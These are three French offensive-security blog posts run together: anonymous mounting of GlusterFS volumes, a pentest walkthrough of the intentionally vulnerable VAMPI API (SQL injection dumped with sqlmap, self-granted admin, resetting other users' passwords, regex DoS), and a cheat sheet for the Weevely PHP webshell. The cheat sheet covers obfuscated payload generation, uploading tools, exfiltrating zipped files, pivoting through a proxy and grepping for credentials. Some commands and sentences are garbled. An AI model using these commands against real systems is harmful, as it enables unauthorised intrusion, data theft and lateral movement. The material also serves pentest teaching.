GlusterFS, système de stockage multimodal, consolide les fichiers de plusieurs serveurs en un seul système unifié, garantissant ainsi la tolérance aux pannes dès que trois hôtes sont « glusterisés » au minimum. Pourquoi est-ce crucial ? Pour prévenir les split-brain ! Afin d’éviter ce scénario à tout prix, un nombre impair de serveurs est nécessaire pour obtenir un quorum de voix en cas de défaillance d’un hôte.
Par défaut, de très nombreux tutoriels en ligne ne précisent pas qu’il est important de sécuriser les liens de réplication inter-serveurs. En effet, par défaut, GlusterFS ne propose pas cette option de sécurité.
Mea culpa… il y a quelques années j’ai fait un article sur la configuration d’un cluster de stockage GlusterFS, mais je n’avais pas parlé du contrôle d’accès à celui-ci. Bon, entre-temps je l’ai mis à jour ^^
Bonne lecture
I. Identifier un service glusterfs actif sur le réseau
Pour débuter, il est essentiel d’identifier si une machine expose le port associé au service GlusterFS, mais cela peut s’avérer difficile car par défaut, nmap ne le signale pas même avec l’option –sV. Le port généralement associé à ce service est le 27001.
Si-vous êtes sur un réseau « VLAN serveur » ou que l’organisation audité n’a tout simplement pas de cloisonnement réseau, vous pouvez aussi écouter le réseau avec wireshark (filtrer le trafic avec le protocole « glusterfs »).
Lors de l’analyse de l’output d’un script nmap, si vous repérez que le port 27001 est ouvert, cela devrait attirer votre attention. Si vous soupçonnez la présence d’un cluster de stockage GlusterFS au sein d’un réseau, vous devriez télécharger la CLI de GlusterFS pour lever le doute. Pour ce faire, utilisez la commande suivante :
apt update && apt install glusterfs-server
Il existe également une version glusterfs-cli, cependant, celle-ci peut poser des problèmes de dépendances. En utilisant ce paquet, vous obtiendrez à la fois le service GlusterFS installé et la CLI. Il est à noter que par défaut, le service GlusterFS restera inactif.
Premièrement, vous pouver tenter de lister les volumes de cette manière :
gluster --remote-host=192.168.130.143 volume list mkdir /glusterfs-pwned
On constate qu’un volume « volume1 » est retourné. Cela signifie qu’il y a bien un service GlusterFS actif avec un seul volume de données. Mais ne vous emballez pas Par défaut, même après une sécurisation (voir la dernière section), il est toujours possible de procéder à une énumération des volumes… Pas idéal, mais bon ^^
Ok, donc maintenant est-il possible pour un utilisateur anonyme de monter ce volume localement afin d’accéder aux données ?
La réponse est oui comme vous vous en doutez…
II. Connection au volume de manière anonyme
Créez un dossier et associez-le à un point de montage « glusterfs » en vous aidant des informations recueillies précédemment (IP et nom du volume).
mkdir /glusterfs-pwned mount -t glusterfs 192.168.130.143:/volume1 /glusterfs-pwned
Et ce n’est pas tout, vous n’avez pas seulement les droits de lecture par défaut :p Vous avez aussi les droits d’écriture
La capture suivante montre qu’il m’est possible de renommer un fichier sur ce cluster de stockage sans demander des droits plus élevés que ceux que je possède.
III. Extraction des données du volume
Vu que nous avons les droits de lecture (et d’écriture), il est donc possible d’extraire toutes les données de ce partage de fichiers très facilement. Bon, j’avoue que la commande ci-après est la plus minimaliste. ^^
IV. Solution de remédiation
Par défaut, la seule sécurisation en vigueur pour remédier à ce défaut de sécurité est la restriction par IP. Ce n’est pas forcément la solution la plus sécurisée, je vous l’accorde, mais cela compliquera la tâche d’un attaquant (dans le cas où celui-ci souhaite usurper l’adresse IP d’un des serveurs membres du cluster de stockage GlusterFS).
gluster volume set volume1 auth.allow 192.168.130.143,192.168.130.144
Vous n’avez pas besoin de redémarrer le service glusterfs suite à cette modification.
Rappel : L’article qui va suivre contient des techniques et méthodes qui peuvent s’avérer être illégales et dangereuses si elles sont utilisées à mauvais escient. Ce tutoriel ne doit en aucun cas être utilisé contre un particulier, une entreprise, une organisation à but non lucratif ou une administration publique de quelconque pays. Je me dédouane de toute responsabilité en cas de problèmes ou d’incidents de quelque nature que ce soit après le visionnage de cet article.
Bonjour à tous, après une longue période sans publication sur ce blog, je suis ravi de vous présenter un nouvel article portant sur le thème de la « Sécurité des API ». Dans cet article, nous explorerons les méthodes de test pour évaluer la sécurité des API REST. Pour illustrer nos propos, nous utiliserons une API vulnérable appelée « VAMPI », conçue pour gérer l’attribution de livres à des utilisateurs. Les utilisateurs de cette API peuvent se connecter et vérifier s’ils sont autorisés à consulter un livre particulier.
Un grand merci à @erev0s ainsi qu’aux autres contributeurs de ce projet open-source.
I. Introduction et Rappels
A. Qu’est-ce qu’une API ?
Une API, ou Interface de Programmation d’Application (en anglais, Application Programming Interface), est un ensemble de règles et de protocoles qui permet à des logiciels / sites web différents de communiquer entre eux. Elle définit les méthodes et les formats de données que les développeurs peuvent utiliser pour intégrer leurs applications avec d’autres logiciels.
Une API peut être utilisée pour différentes raisons, notamment pour permettre à une application d’accéder aux fonctionnalités d’un service externe,d’interagir avec une base de données sans la requêter directement, ou même de partager des fonctionnalités avec d’autres applications.
Voici sans nul doute mon meme préféré. c’est en grande partie grace à lui que j’ai compris comment fonctionnait une API de bout en bout.
Voici quelques concepts clés liés aux API qui vont être utilisé dans cet article :
Point d’Entrée / endpoint : Une API fournit des points d’entrées spécifiés (URI Uniform Resource Identifier),par lequel les développeurs peuvent accéder aux fonctionnalités offertes par l’API.
Ex : https://api.domain.com/user/john.doe retournerait uniquement les caractéristiques liés à cet utilisateur (age, date d’inscription, etc.) si et seulement si l’utilisateur s’est authentifié.
Méthodes : Les API utilisent des méthodes HTTP, telles que GET, POST, PUT, DELETE, qui correspondent aux opérations que les développeurs peuvent effectuer sur les ressources fournies par l’API. Celles-ci font références au principe du « CRUD ». Voir section suivante
Formats de Données : Les données échangées entre les applications via une API sont généralement structurées dans des formats standard tels que JSON (JavaScript Object Notation) ou anciennement XML (eXtensible Markup Language).
Authentification et Autorisation : Les API peuvent nécessiter des mécanismes d’authentification pour s’assurer que seules les applications autorisées peuvent accéder aux fonctionnalités fournies. De plus, elles peuvent implémenter des mécanismes d’autorisation post-auth pour contrôler l’accès aux différentes ressources.
En résumé, les API sont essentiellement un moyenstandardisé pour que différentes applications modernes communiquent entre elles. Elles facilite ainsi l’intégration et l’interopérabilité entre les artecfats digitales.
B. CRUD (Create Read Update Delete)
Le terme CRUD est un acronyme couramment pour décrire les opérations fondamentales effectuées sur les données dans un système de gestion de base de données (SGBD) ou une application web. CRUD représente les quatre opérations de base que l’on peut effectuer sur les données :
Create : Cette opération consiste à ajouter de nouvelles données à un système. Par exemple, dans une application web, cela pourrait signifier la création d’un nouveau compte utilisateur ou l’ajout d’un nouveau produit à une boutique en ligne, etc.
Read : La lecture consiste à récupérer et afficher des données existantes à partir du système. Il s’agit de la consultation des informations stockées dans la base de données, que ce soit pour afficher un profil d’utilisateur ou consulter les détails d’un produit, etc.
Update : Cette opération implique la modification des données existantes. Par exemple, vous pourriez mettre à jour les informations de votre profil utilisateur ou mettre à jour le prix d’un produit.
Delete : La suppression consiste à retirer des données du système. Cela pourrait signifier la suppression d’un compte utilisateur, ou la suppression d’un produit de la base de données.
Ces opérations sont essentielles dans le développement d’applications et dans la gestion de bases de données, car elles permettent de gérer les données de manière cohérente et efficiente. Ce qui en fait un des piliers conceptuelles du développement logiciel et conception de bases de données.
REST est un ensemble de principes architecturaux, RESTful est une mise en œuvre concrète de ces principes avec une adhérence stricte aux conventions, rendant l’API plus prévisible, facile à comprendre et à utiliser.
Voici un schema permettant de se représenter conceptuellement le fonctionnement d’une API REST : (source : https://www.linkedin.com)
II. Avec quel outils peux-ton tester la sécurité d’une API ?
Il existe pléthore d’outils ! Dans mon cas, j’utilise uniquements les trois suivants en générale :
Burp Suite (Pro) : Le plus utilisé
Postman : Je suis particulièrement Fan de l’interface graphique
La commande curl (uniquement pour tester à la voler des endpoints bien précis)
Tout au long de cet article, je vais utiliser Postman ainsi que la commande curl pour créer des requêtes un peu plus complexes. Cela vous permettra d’économiser du temps lors de vos tests et d’éviter de remplir manuellement chaque champ. Cependant, il est important de noter que cela ne remplace pas la nécessité d’exécuter également les requêtes via Burp ou Postman.
III. Setup de l’API vulnérable VAMPI avec … Docker ^^
Pour ne pas se compliquer la vie, on va utiliser l’image toute prête qui a été publié sur le dockerhub par @erev0s. Toutefois, sachez que vous pouvez directement construire l’image depuis le Dockerfile officiel du projet.
Basé sur les 10 principales vulnérabilités de l’OWASP pour les API (2023)
Utilise OpenAPI3
Activation/désactivation globale pour avoir un environnement vulnérable ou non. (vulnerable={0,1})
Authentification par jeton (tokentimetolive=300) Il est possible d’augmenter cette valeur évidement.
IV. Déouverte des points de terminaisons
Même si le projet VAMPI nous fournit les endpoints vulnérables, il va de soi qu’en « boîte noire », nous ne disposons pas de ces informations. C’est précisément là que réside la complexité d’un test à l’aveugle d’une API. Dans le cadre de cet article, je vais simuler une approche « black box ».
Afin de rendre les tests d’une API aussi exhaustifs que possible, il est recommandé de les effectuer en boîte blanche, ce qui signifie avoir accès aux différents comptes et à la documentation. Cela permet à l’auditeur d’être beaucoup plus efficace et exhaustif dans ses tests.
Mais alors, comment procéder ?
Le moyen le plus basique pour détecter rapidement des points de terminaison communs consiste à utiliser un scanner de répertoire tel que dirsearch ou dirb. De plus, il est fortement recommandé d’utiliser une wordlist personnalisée contenant des noms couramment utilisés lors de la conception d’API. Voici une petite liste, bien sûr non exhaustive :
La capture ci-après nous montre qu’une seule redirection a été détectée suite à l’exécution de dirsearch. Allons voir ce qui se cache derrière ce lien…
Si vous menez un véritable test d’intrusion, n’oubliez pas de réduire le nombre de threads, ainsi que le délai entre chaque requête, afin de ne pas vous faire bannir de manière inopportune :). Par ailleurs, je vous conseille de vous intéresser de près aux nombreuses options de la commande dirsearch.
On constate qu’une redirection (HTTP Code 308) a été détectée pour le répertoire « /ui ». En consultant ce lien, on peut constater que nous arrivons sur une interface Swagger.
Mais qu’est-ce que Swagger ? Swagger est un ensemble d’outils open source permettant de concevoir, documenter et tester des API REST. Il utilise une spécification appelée OpenAPI pour décrire la structure des API, y compris les points de terminaison, les paramètres et les réponses attendues. Cependant, exposer Swagger sans authentification préalable pose de graves problèmes de sécurité, car cela peut fournir aux attaquants des informations détaillées sur la structure interne de l’API, facilitant ainsi les attaques potentielles.
Oui, même dans un cas réel, il est possible de trouver ce genre de plateforme exposée publiquement. Croyez-moi, je sais de quoi je parle ^^
Ici, Swagger nous affiche tous les endpoints de l’API auxquels on peut accéder par défaut, ainsi que les détails associés à chacun. Nous venons donc implicitement de passer d’un audit en boîte noire à un audit en boîte blanche ! ^^
V. Tests SANS authentification au préalable (pre-auth testing)
A. Lister les utilisateurs du site
Cette première faille de sécurité n’est pas sans conséquence. En effet, elle permet à un attaquant de lister l’intégralité des utilisateurs du site. Cela signifie qu’un attaquant pourrait facilement établir une liste des utilisateurs du site, ce qui pourrait être utilisé ultérieurement pour d’autres vecteurs d’attaque en exploitant ces identifiants/emails.
Méthode HTTP
GET
curl http://127.0.0.1:5000/users/v1 | jq
Fréquemment, les API disposent d’un paramètre « debug » permettant d’afficher plus d’informations concernant la réponse de l’endpoint. C’est grosso-modo l’équivalent du mode « verbose : -v » d’une commande classique.
Méthode HTTP
GET
curl http://localhost:5000/users/v1/_debug
Certaines fonctionnalités, telles que la possibilité de lister les utilisateurs ou le mode débogage, devraient impérativement exiger une authentification d’un utilisateur ayant au minimum un profil de développeur. En aucun cas un utilisateur standard authentifié ne devrait avoir la capacité de lister tous les utilisateurs d’une API !
Pour afficher les informations d’un seul utilisateur, vous pouvez utiliser cette requête :
curl http://127.0.0.1:5000/users/v1/{username}
Ok, je vous l’accorde, il est très peu probable d’obtenir le mot de passe en clair à la suite de l’exécution en mode de débogage. Cependant, la recommendation est clair : Ne pas rendre accessible publiquement ce mode avancé, qui est normalement réservé aux développeurs.
B. Créer un utilisateur
En consultant la documentation de l’API, on constate qu’un endpoint /register existe. Testons si en tant qu’utilisateur non authentifié, nous pouvons créer un compte.
On constate ici qu’aucune politique de mot de passe n’est mise en place sur l’API, car il m’a été possible de créer un utilisateur avec comme mot de passe « lgds »…
C. Élevation de privilège – Défaut de cloisonnement verticale
Élevation de privilèges ou Escalade de privilèges ? le débat est lancé ^^
Le cloisonnement vertical implique la possibilité d’accéder à des fonctionnalités qui se trouvent en dehors de la portée initiale de l’utilisateur. Cela peut inclure la recherche de moyens pour obtenir des droits d’administration ou similaires, dans le but de passer d’un statut utilisateur à un statut administrateur.
Lorsque nous avons examiné le point de terminaison « /users/v1/_debug » plus tôt, vous n’avez peut-être pas remarqué, mais un attribut supplémentaire nous a été retourné en plus de « email », « username », et « password ». Cet attribut est « admin » (return : true or false : comportement par défaut). Cela démontre clairement l’existence d’une propriété appelée « admin » qui est définie sur « true » pour les utilisateurs administrateurs. Essayons d’enregistrer un nouvel utilisateur avec cet attribut dans la requête.
Encore une fois, oui, même dans un cas réel, il est possible de trouver ce genre de plateforme exposée publiquement. Croyez-moi, j’en ai déjà vu moi-même ^^
Méthode HTTP
POST
Vous pouvez donc ajouter l’attribut « admin » et lui donner la valeur « true » pour vous auto-promouvoir en tant qu’administrateur de l’API dès votre inscription.
Maintenant, si vous lister les utilisateurs avec « /users/v1 », vous constaterez l’ajout de l’utilisateur lgds adm_lgds. Pour vous assurer que celui-ci est admin, utilisez le endpoint « /users/v1/_debug »,
Méthode HTTP
GET
curl http://localhost:5000/users/v1/_debug
# _debug ici vous permettra de visualiser si le niveau d'habilitation de l'utilisateur adm_lgds est bien fixé sur "admin"
D. Injection SQL – Non assainissement des entrées utilisateurs (inputs)
SQli : Technique permettant à un attaquant d’insérer du code SQL malveillant dans une requête SQL, souvent via des formulaires web ou des champs de recherche vulnérables. Cela peut entraîner la modification, la suppression ou la divulgation non autorisée de données dans une base de données. Pour se protéger contre les injections SQL, il est essentiel de valider et de sécuriser correctement les entrées utilisateur lors de la création de requêtes SQL.
En ajoutant un simple guillemet « /users/v1/name‘ » nous n’avons pas obtenu une réponse de l’API, mais une erreur.
Méthode HTTP
GET
curl "http://127.0.0.1:5000/users/v1/lgds'" | head -n 10
Cela indique que les données fournies par l’utilisateur ne sont pas correctement nettoyées avant d’être transmises à la base de données, ce qui signifie qu’elles exécuteront tout ce que l’utilisateur y insère y compris des jeux de caratères malicieux. Dans ce cas précis, l’erreur renvoyée nous indique que le Système de Gestion de Base de Données (SGBD) en question est SQLite.
Pour exploiter rapidement cette injection SQL, vous pouvez utiliser SQLMap de la manière suivante :
sqlmap -u "http://127.0.0.1:5000/users/v1/lgds" --dump all --batch --flush-session
-u "http://127.0.0.1:5000/users/v1/lgds" : C’est l’URL cible à analyser. Dans cet exemple, SQLMap va cibler l’URL « http://127.0.0.1:5000/users/v1/lgds » pour rechercher des vulnérabilités SQL.
--dump all: Ce paramètre indique à SQLMap de tenter de récupérer des données de la base de données une fois qu’il a identifié une vulnérabilité SQL. L’option « all » signifie qu’il tentera de récupérer toutes les données disponibles.
--batch: En utilisant cette option, SQLMap fonctionnera en mode batch, ce qui signifie qu’il n’interagira pas avec l’utilisateur pour prendre des décisions. Il utilisera les options par défaut pour l’analyse.
--flush-session: Cette option indique à SQLMap de supprimer toutes les données de session de la commande sqlmap courrante. Cela peut être utile pour éviter que des données d’une analyse précédente n’interfèrent avec la nouvelle analyse. (cache…)
Afin de prévenir toute surcharge de la base de données et de maintenir un faire profil bas dans un scénario réel, il est essentiel d’opter pour des extractions progressives. Cela signifie qu’il est recommandé d’extraire une table, voire même des portions de tables, pour limiter le nombre de résultats obtenus. Cette approche permet d’effectuer une preuve de concept (PoC) initiale tout en préservant la disponibilité et la stabilité de l’API et de sa base de données.
Voici le résultat du dump :
E. Absence de protection contre les attaques automatisés
Il existe plusieurs méthodes pour réaliser ce test. Dans mon cas, j’ai choisi d’utiliser Burp Suite Pro en sélectionnant le Mode Sniper dans le menu Intruder. Sans entrer dans les détails, j’ai envoyé avec succès 50 requêtes consécutives vers le point d’extrémité « /users/v1/login » sans être bloqué.
Méthode HTTP
POST
VI. Tests post-identification (post-authentication testing)
A. Défaut de cloisonement horizontal
On appelle cloisonnement horizontal le fait de vérifier qu’un utilisateur A ne peut pas accéder au périmètre d’un utilisateur B. (fichiers, etc.)
Pour obtenir la liste complète de tous les livres, il vous suffit de faire une requête vers le point de terminaison suivant : /books/v1.
Méthode HTTP
GET
Pour rappel, l’objectif de cette API est de référencer une collection de livres. Chaque livre est associé de manière unique à chaque utilisateur, et chaque livre a un seul et unique propriétaire. Lorsqu’un utilisateur consulte ce point de terminaison, il est impératif qu’il se soit préalablement authentifié auprès de l’API, ce qui permettra à celle-ci de lui donner accès au ‘secret du livre’
Nous constatons qu’il existe un point d’accès qui répertorie tous les livres, accessible sans nécessité préalable d’authentification : /books/v1
curl -s http://127.0.0.1:5000/books/v1 | jq
Le fait de fournir une liste de livres avec les propriétaires (utilisateurs) associés n’est pas un comportement approprié, car cela permet une énumération des utilisateurs qui possèdent des livres en interrogeant cet endpoint. »
Je vais maintenant tenter d’obtenir le secret d’un des livres intitulé « bookTitle16 » appartenant à l’utilisateur « name1 » en interrogeant l’endpoint /books/v1/{book_name}.
Ceci suggère que je n’ai pas d’authentification active sur l’API. Ainsi, je devrais m’authentifier avec le compte utilisateur « name1 » pour pouvoir accéder au « secret du livre » intitulé « bookTitle16 »
Maintenant, envisagez un scénario où un autre utilisateur pourrait accéder au secret d’un livre qui ne lui appartient pas. Pensons en dehors des sentiers battus ! Comme le dit Julien Metayer : Le hacking est avant tout un état d’esprit
En théorie, cela ne devrait pas être possible, mais par précaution, pourquoi ne pas effectuer un test pour confirmer ?
Pour ce faire, je vais me connecter en utilisant un nouvel utilisateur que j’ai fraîchement créé : « lgds » (et non « lgds_admin » ! Nous voulons un utilisateur ayant le même niveau d’autorisation que « name1 », c’est-à-dire un utilisateur standard).
Vous pourriez reformuler votre phrase de la manière suivante :
« Toudoum (comme dans Netflix) ! Oh, que découvrons-nous ? Il est possible d’accéder au secret du livre « bookTitle16 » (propriétaire : name1) alors que je me connecte en utilisant l’utilisateur « lgds » avec son jeton d’authentification qui lui est propre. Le défaut de cloisonnement horizontal est indubitablement établi !
B. Account takeover
Nous avons observé la possibilité d’utiliser le token d’utilisateur 1 pour accéder aux données de l’utilisateur 2. Par conséquent, nous allons tenter cette opération sur un point d’accès différent de celui précédemment utilisé. Envoyez une nouvelle requête authentifiée à /users/v1/{username}/password et envoyez le nouveau mot de passe comme valeur JSON pour « password ».
Nous avons constaté la possibilité d’utiliser le jeton de l’utilisateur lgds pour accéder aux données de l’utilisateur name1. Par conséquent, je vais tenter cette opération sur un point d’accès différent de celui précédemment utilisé.
Dans cette section, vous aurez encore besoin d’un jeton de connexion valide. Si le vôtre a expiré, reconnectez-vous en initiant une nouvelle session auprès de l’API :
Réinitialiser le mot de passe de n’importe quel utilisateur via un compte standard
L’API nous renvoie une réponse 204, mais cela peut parfois être considéré comme ‘normal’. En effet, les développeurs n’avaient peut-être pas prévu cette possibilité, et donc l’API ne renvoie aucune réponse, ce qui pourrait être avantageux pour nous.
Comme vous pouvez le voir sur la capture d’écran ci-dessus, il a été possible de modifier le mot de passe de l’utilisateur « name1 » en utilisant un jeton d’authentification appartenant à l’utilisateur « lgds ».
Réinitialiser l’email de n’importe quel utilisateur.
Il n’est pas possible d’effectuer cette action, car les développeurs ont mis en place une vérification pour s’assurer que le jeton correspond réellement à son propriétaire. Si vous exécutez la requête suivante, cela changera l’adresse e-mail, non pas de l’utilisateur « name1 », mais de l’utilisateur « lgds ».
Comme illustré sur la capture d’écran ci-dessus, il n’a pas été possible de modifier l’adresse e-mail de l’utilisateur « name1 » en utilisant un jeton d’authentification appartenant à l’utilisateur « lgds ». En revanche, cette requête a provoqué un effet inattendu en modifiant l’adresse e-mail de notre propre compte… Cela Porte un nom : l’effet : « Retour de bommerang »
Supprimer le compte de n’importe quel utilisateur.
Étant donné la vulnérabilité de cette API, nous sommes en droit de nous demander si nous pouvons supprimer un compte en utilisant un compte utilisateur standard…
Comme le montre la capture d’écran ci-dessus, il est clair que cela n’est pas possible.
C. DoS via une expression régulière (regex)
Je n’ai pas encore terminé avec cette API ! Au-delà du fait que j’ai pu démontrer dans une des premières sections qu’il était possible d’envoyer un grand nombre de requêtes sans être bloqué, je me suis demandé s’il était possible de faire « planter l’API », étant donné qu’elle ne nettoie pas correctement ses entrées. Eh bien, la réponse est oui…
Un Self-DoS implique de surcharger un service quelconque s’executant sur l’hôte en l’obligeant à effectuer des calculs complexes ce qui augmentent la charge de travail et entraînent des dépassements de délais. En fin de compte, l’application est submergée. Une fois de plus, cela est rendu possible uniquement parce que les données d’entrée de l’utilisateur ne sont pas correctement assainie.
Ici, il est possible de provoquer le crash de l’application en envoyant une requête authentifiée au point de terminaison « /users/v1/{username}/email » en fournissant une longue chaîne de caractères qui n’est en réalité pas une adresse e-mail valide, mais un payload ayant pour but de pertuber le comportment de l’API.
Le caractère « ! » n’est pas celui qui provoque le comportement inattendu, c’est uniquement la longueur excessive de la chaîne par rapport à ce que le backend avait prévu qui provoque le problème (plus le fait que les inputs ne sont pas sanitize)
Méthode HTTP
PUT
VII. Conclusion
Merci d’avoir pris le temps de lire cet article. J’espère qu’il vous a aidé à mieux comprendre le pentesting d’une API en détail. Si vous avez des remarques ou des questions, n’hésitez pas à m’en faire part sur X :).
Rappel : L’article qui va suivre contient des techniques et méthodes qui peuvent s’avérer être illégales et dangereuses si elles sont utilisées à mauvais escient. Ce tutoriel ne doit en aucun cas être utilisé contre un particulier, une entreprise, une organisation à but non lucratif ou une administration publique de quelconque pays. Je me dédouane de toute responsabilité en cas de problèmes ou d’incidents de quelque nature que ce soit après le visionnage de cet article.
Bonjour à tous ! Aujourd’hui, après quelques semaines sans article, je vais vous présenter l’un de mes outils préférés en sécurité offensive axé sur le web. Je le considère clairement comme un must-have pour toutes les personnes s’intéressant de près ou de loin à la sécurité offensive. Derrière son petit nom « weevely », se cache un artefact développé en PHP qui vous permet d’établir un webshell interactif très facilement dès lors que vous pouvez profiter d’une vulnérabilité de type file upload.
Cet article est rédigé sous la forme d’une « cheatsheet ». Cela signifie que je ne présenterai pas un scénario d’exploitation, mais plutôt des commandes et des astuces autour de Weevely. Nous aborderons les caractéristiques générales de Weevely, puis l’utilisation de certains de ses modules, et enfin, comment interagir avec ce webshell sans nécessairement utiliser ses modules.
I. Fonctionnement Général
A. Générer un payload
Pour un serveur utilisant une version < à PHP 8 :
python3 weevely.py generate 123456 payload.php
123456 représente le mot de passe qui vous sera demandé lors de l’initialisation de la connexion entre vous et votre cible afin de sécuriser l’accès à ce point de terminaison malveillant.
Pour un serveur utilisant une version >= à PHP 8, il faut générer sa payload avec une option d’obfuscation spécial (suite à la suppression de certaines fonctions comme create_function() entre la nouvelle et les anciennes versions de PHP) :
Plus d’information ici : https://github.com/epinna/weevely3/pull/168
B. Accéder à ce payload
Une fois que vous avez uploadé votre payload sur le serveur web cible, vous pouvez utiliser la commande suivante pour instancier le webshell.
weevely http://192.168.130.130/weevely.php 123456
Vous obtenez donc un webshell interactif avec un rendu plutôt sympathique. Cependant, il y a un seul bémol : vous n’avez pas l’autocomplétion des commandes Linux.
Par défaut, Weevely offre un chiffrement des échanges entre l’attaquant et la cible, ce qui rend extrêmement difficile, voire quasi-impossible, pour un analyste sécurité de comprendre les actions spécifiques d’un attaquant qui l’utilise.
Avantages
Inconvégnients
Standalone (upload d’un seul fichier en tant que payload, communication en mode « bindshell »)
Certains modulent que weevely propose n’a pas un grand intérêt.
Chiffre les communications par défaut, code php obfuscé
Pas d’auto-complétion des commandes « Native » Linux.
Facile d’utilisation
Conserve l’historique d’une précédente session (commandes saisies, etc.)
Une fois connecté au webshell, il est possible de lister les modules de weevely via la commande :help , ou alors utiliser des commandes disponnible sur le système.
II. Utilisation des modules avancés
A. Liste des modules
Voici la liste des modules actuellement supportés par weevely (4.0.1)
B. :file_upload
Ce module permet, comme son nom l’indique, d’uploader un fichier de votre machine d’attaque vers la cible. Cela peut être très pratique, notamment si la target n’a pas accès à Internet. Dans l’exemple ci-dessous, j’ai récupéré localement le binaire linpeas, que j’upload sur la cible via le protocole HTTP.
cd ~/temp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
Dès lors que le fichier est correctement uploadé, il ne manque plus qu’à attribuer les droits d’exécution.
C. :file_download
À contrario, si-vous souhaitez récupérer des fichiers sur le serveur, vous le pouvez en utilisant :file_download
Pour cela, zipé le répertoire qui vous interesse avec :
zip -q -r <emplacement provisoire du fichier zip> <répertoire qui va être zipé>
zip -q -r /tmp/scripts.zip scripts
Une fois cette action fête, il ne vous reste plus qu’à exfiltrer ce fichier vers un dossier de votre choix localement sur votre machine d’attaque.
:file_download <fichier à exfiltrer> <répertoire sur la machine d'attaque>
:file_download /tmp/scripts.zip /home/kali/temp/scripts.zip
D. :net_scan
Afin de réaliser un mouvement latéral / pivot, vous pouvez utiliser ce module qui vous permettra de scanner les ports d’une IP, ou d’un groupe d’adresse IP. (Même si le scan est relativement lent, celui-ci reste néanmoins assez furtif et bien moins « bruyant » qu’un nmap (par défaut)).
Mais d’abord un petit rappel pour expliquer la différence entre ces deux termes qui ont un sens commun, mais qui n’ont pas réellement la même finalité :
Un pivot en sécurité informatique se produit lorsqu’un attaquant réussit à accéder à un système compromis, puis qu’il utilise ce dit système comme point d’entrée pour accéder à d’autres réseaux et ressources non accessibles par sa machine d’attaque par défaut.
Mouvement latéral : Pour expliquer ce terme, supposons qu’un attaquant ait réussi à compromettre le compte utilisateur d’un domaine Active Directory. À partir de ce compte, l’attaquant peut chercher à se déplacer en tentant, par exemple, d’accéder à d’autres serveurs en utilisant les identifiants qu’il a précédemment obtenus. Ainsi, il est possible de découvrir que l’utilisateur compromis dispose de droits plus étendus qu’il ne paraît au premier abord. Imaginons que ce compte appartienne à un DAF (Directeur Administratif et Financier). Logiquement, il devrait avoir des autorisations pour accéder à d’autres applications liées à la comptabilité et aux finances, et autres serveurs de fichiers.
En résumé, un pivot implique le passage d’un réseau à un autre en utilisant un serveur compromis comme point de départ, tandis que le mouvement latéral se réfère à l’exploration et à l’expansion horizontale à l’intérieur du réseau « global » pour atteindre de nouvelles cibles.
Reprenons, ici le module net_scan vous permet en toute simplicité (vraiment) de réaliser un scan de ports sur un groupe d’adresses IP, voire même sur une plage complète. Pour résumer, c’est une sorte de mini nmap qui va vous indiquer si l’IP est en ligne et si un service quelconque tourne derrière celle-ci. Cela peut vous aider à poursuivre votre exploration et à identifier la présence éventuelle d’autres machines sur le même réseau avant d’effectuer éventuellement une action de pivotage.
Dans l’exemple ci-dessous je scan le réseau 192.168.130.0/24 afin de savoir si oui ou non d’autres services HTTP sont exécuté sur les IPs de clui-ci sur les ports commun 80, 443.
:net_scan 192.168.130.0/24 80,443
Ici, on constate donc que deux IPs semble héberger un serveur web.
E. :file_grep
Cette fonctionnalité permet de rechercher une chaine de caractères recursivement dans tous les fichiers et sous-dossier du dossier actuel (« . »). Même si vous pouvez utiliser l’option -r de grep pour réaliser cela, certaines distributions Linux embarquant une version de grep différentes ou dépréciés n’embarqueront peut-être pas cette fonctionnalité.
Celle-ci s’avère très pratique notamment pour débusquer des mots de passe, jeton de connexions ou autres donnés sensibles… Attention tout de même à cibler les bons pattern, et les bons dossiers sinon vous risquez de vous noyer parmi les résultats qui vous seront retourné.
La commande suivante permet de rechercher la présence de la string « admin: » au seins du dossier /var/www/html/app
:file_grep . admin:
F. :net_proxy
Lorsque vous utilisez l’option net_proxy avec Weevely, vous pouvez instancier un proxy HTTP afin d’encapsuler le trafic entre votre machine et le serveur distant. Cela peut être utile lorsque vous souhaitez contourner des restrictions réseau et/ou réaliser un pivoting.
:net_proxy
Si-vous identifié que votre machine cible dispose de plusieurs cartes réseau, cela peut éventuellement sous-entendre que celle-ci est interconnectée à plusieurs réseaux. Problème en l’état actuel, il n’est pas possible d’atteindre une autre machine sur le réseau 10.50.50.0/24, car je n’ai aucune route qui me permette de l’atteindre.
C’est la qu’intervient notre module weevely :
:net_proxy
Par défaut le port :8080 sera ouvert côté attaquant. Celui-ci sera la porte d’entrée de la connexion du proxy. Pour faire faire transiter vos connexions via le proxy, il faudrait alors « proxifier » vos commandes soit via un outil dédié comme proxychain soit en utilisant l’option « proxy » de votre outil.
Certains outils qui utilise d’autres protocole que HTTP ne fonctionneront pas dans ce cas précis car weevely ne supporte pas l’encapsulation d’autres protocoles. Je vous conseil de vous reporter au tools suivants, si vous avez besoin de d’utiliser cette apprôche :
ligolo-ng
chisel
Ici, je pars du principe que je connais l’existence du serveur web hébergé via l’IP 10.50.50.2.
Une fois le proxy en place, je vais essayer d’atteindre le serveur web 10.50.50.2. Voici comment encapsuler vos requêtes HTTP avec curl :
Dans le cas contraire, si je ne précise pas le proxy, je n’accèderais pas au serveur web 10.50.50.2
G. :net_phpproxy
Ce module permet quant à lui d’instancier provisoirement un proxy PHP sur le serveur cible. Seul petit hic, le rendu graphique est parfois abject à cause entre autres de diverses imcompatbilité. (moteurs de rendu, etc.)
III. Utilisation de weevely sans modules
A. Auditer la configuration du serveur avec linpeas (oui toujours lui)
Si la machine à accès à internet
Comme je vous l’ai dit plus haut, certains modules de weevely ne servent plus à grand-chose, car depuis un certain temps maintenant, le support des commandes Linux est pris en charge nativement, ce qui semblait ne pas être le cas auparavant.
Si votre Cible à accès à internet, vous pouvez exécutez linpeas facilement en saisissant les commandes suivantes :
Le rendu n’est pas instantané. Il faudra attendre la fin de l’exécution du script pour obtenir le rapport complet. Ceci est dû aux restrictions du webshell weevely. Veuillez patienter quelques minutes.
Si la machine n’a pas accès à internet
B. Exfiltrer des données
Très simplement, je peux instancier un serveur web python depuis le webshell weevely comme cela :
Votre target devra disposer de python d’installé. Le module http.server est un module in-built de python3.
python3 -m http.server 8080
Dès lors, il est possible de récupérer le fichier secrets.zip depuis ma machine d’attaque avec la commande wget (ou via un navigateur…)
IV. Conclusion
